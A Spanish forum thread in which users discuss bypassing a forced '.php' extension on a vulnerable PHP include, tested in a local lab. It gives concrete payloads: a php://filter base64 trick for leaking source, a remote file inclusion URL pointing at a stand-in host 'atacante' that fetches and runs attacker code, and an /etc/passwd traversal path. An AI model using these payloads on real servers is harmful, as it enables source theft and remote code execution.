Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: exploiterstack en 26 Enero 2015, 12:33 pm



Título: Bypass extensión en filtro include (en la actualidad)
Publicado por: exploiterstack en 26 Enero 2015, 12:33 pm
Hola a toda la comunidad ;)

Bueno estoy probando en un entorno local(XAMP) como evadir un filtro que he puesto en una pagina web, la cual especifico que TIPO de archivos puedo incluir por medio de la url. Como digo es un entorno que he creado para ver la seguridad y como reforzar este tema de los LFI etc...

if(isset($_GET['pagina'])){
     include($_GET['pagina'].".php");
}

En principio quiero saber como puedo incluir un archivo txt (el cual esta en el mismo directorio)el cual en su interior he puesto un texto que quiero que se visualice.  Con lo que pruebo de la siguiente manera:

http://localhost/r/r.php?pagina=archivo.txt%00

De ese modo se supone que al poner el null byte a continuación del nombre del archivo junto a su extensión debería abrirme el archivo y mostrarme  el correspondiente mensaje.

Pero hay viene el problema que no lo consigo con lo que me arroja el siguiente error:

Warning: include(): Failed opening 'pag.txt' for inclusion (include_path='.;C:\Users\public\Desktop\Entorno local\php\PEAR') in C:\Users\public\Desktop\Entorno local\htdocs\r\r.php on line 10


Espero vuestra respuesta, un saludo!


Título: Re: Bypass extensión en filtro include
Publicado por: Shell Root en 26 Enero 2015, 13:25 pm
Null byte injection has been fixed in PHP 5.3.4 (which it's self is already an old and unsupported PHP version): https://bugs.php.net/bug.php?id=39863.

:http://security.stackexchange.com/questions/48187/null-byte-injection-on-php


Título: Re: Bypass extensión en filtro include
Publicado por: exploiterstack en 26 Enero 2015, 13:29 pm
Gracias por contestar Shell Root,

Entonces a partir de esa versión ya no se puede hacer uso de %00 ya que se ha parcheado. Entonces que técnicas actuales existen para poder un bypass a dicho filtro?

Un saludo!


Título: Re: Bypass extensión en filtro include (en la actualidad)
Publicado por: T. Collins en 26 Enero 2015, 22:45 pm
Puedes buscar, alternative to null byte en google mismo y sale bastante información. Otra opción es que esté allow_url_include activado, o con php://filter podrías ver los archivos php en base64 por ejemplo y así buscar otra vulnerabilidad.


Título: Re: Bypass extensión en filtro include (en la actualidad)
Publicado por: exploiterstack en 27 Enero 2015, 08:17 am
Antes de nada gracias por contestar T. Collins,

He buscado en google alternativas a null byte y no es que me salga mucho y lo que me arroja no esta muy detallado que digamos.

Por otra parte, me estas diciendo que con a opción allow_url_include activada si que puedo hacer uso de la secuencia %00 aun estando en una versión superior a la de PHP 5.3.4?....Por otra parte a que te refieres con php://filter

Por favor se mas explicito, un saludo!  ;)


Título: Re: Bypass extensión en filtro include (en la actualidad)
Publicado por: T. Collins en 27 Enero 2015, 21:34 pm
Con allow_url_include no puedes usar %00, pero sí poner urls y ejecutar php ajeno, así es fácil ver archivo.txt
Si tienes algún problema con el .php del final, con poner un ?, el resto se ignora:

http://ejemplo.com/ejemplo.txt? quedaría http://ejemplo.com/ejemplo.txt?.php y se ejecuta el código que hay en ejemplo.txt

Con php://filter puedes ver el código de los php en el servidor y buscar otra vulnerabilidad que te deje ver archivo.txt

php://filter/convert.base64-encode/resource=index quedaría php://filter/convert.base64-encode/resource=index.php por lo que no puedes ver el .txt directamente, pero sí los .php.


Título: Re: Bypass extensión en filtro include (en la actualidad)
Publicado por: exploiterstack en 28 Enero 2015, 08:44 am
Hola T. Collins,

Con allow_url_include no puedes usar %00, pero sí poner urls y ejecutar php ajeno, así es fácil ver archivo.txt

En que caso puedo utilizar el famoso null byte? o esta fixeado desde la versión PHP 5.3.4 como dice Shell Root, esta ya obsoleto o no? Respecto a lo de ver el fichero.txt no se si te refieres a poner --> http://localhost/r/text.txt  pero eso no es ejecutarlo directamente sin pasar por el include?

Si tienes algún problema con el .php del final, con poner un ?, el resto se ignora:

http://ejemplo.com/ejemplo.txt? quedaría http://ejemplo.com/ejemplo.txt?.php y se ejecuta el código que hay en ejemplo.txt


El ejemplo que me das no lo consigo realizar ya que no entiendo como saltarse la extensión que fuerzo en el include --> include($_GET['pagina'].".php");
Lo intento de la siguiente manera sin éxito:

http://localhost/r/r.php?pagina=text.txt?

Con php://filter puedes ver el código de los php en el servidor y buscar otra vulnerabilidad que te deje ver archivo.txt

php://filter/convert.base64-encode/resource=index quedaría php://filter/convert.base64-encode/resource=index.php por lo que no puedes ver el .txt directamente, pero sí los .php.


Este ejemplo que me pones no lo conocía y me ha venido bien saber de esto:

http://localhost/r/r.php?pagina=php://filter/convert.base64-encode/resource=r

Con lo que me da una ristra de caracteres:

PD9waHANCg0KICAgIC8qDQogICAgLy9BYnJpbW9zIGVsIGZpY2hlcm8geSBlc2NyaWJpbW9zIGVuIGVsIFhTUw0KICAgICRmcCA9IGZvcGVuKCJmaWNoZXJvLnR4dCIsICJ3Iik7DQogICAgZnB1dHMoJGZwLCAiPHNjcmlwdD5hbGVydCgnVnVsbmVyYWJsZSBhIFhTUycpOzwvc2NyaXB0PiIpOw0KICAgIGZjbG9zZSgkZnApOw0KICAgICovDQogIA0KICAgIGlmKGlzc2V0KCRfR0VUWydwYWdpbmEnXSkpew0KICAgICAgICBpbmNsdWRlKCRfR0VUWydwYWdpbmEnXS4iLnBocCIpOw0KDQogICAgICAgIGVjaG8gIjxicj48YnI

Y al decodificarlos en Base64 me proporciona la el código fuente de la página. Esto me permite realizarlo con cualquier fichero .php(sin añadir la extensión) del proyecto.

Eso es lo te referías?

Espero su respuesta, un saludo! ;)


Título: Re: Bypass extensión en filtro include (en la actualidad)
Publicado por: T. Collins en 29 Enero 2015, 00:43 am
El null byte no se puede utilizar.

Con allow_url_include puedes incluir código php desde una url, por ejemplo:
Código
  1. include "http://atacante/code.txt";

Por lo tanto, no se trata de incluir http://localhost/r/r.php?pagina=text.txt?, sino http://atacante/code.txt y así ejecutar el código del atacante, que podría ser:
Código
  1. echo file_get_contents("archivo.txt");

Para evitar el .php del final basta con poner un ?: http://atacante/code.txt?

Finalmente quedaría así: http://localhost/r/r.php?pagina=http://atacante/code.txt?

Código
  1. include "http://atacante/code.txt?.php";


Título: Re: Bypass extensión en filtro include (en la actualidad)
Publicado por: exploiterstack en 29 Enero 2015, 13:38 pm
Hola otra vez :P
Vale ya entiendo...como si fuera un RFI normal de toda la vida, pensaba que se podría incluir archivos locales como por ejemplo con el ataque LFI típico ../../../etc/passwd pero con un archivo que tenia en el mismo directorio(en este caso un archivo txt).

Saludos!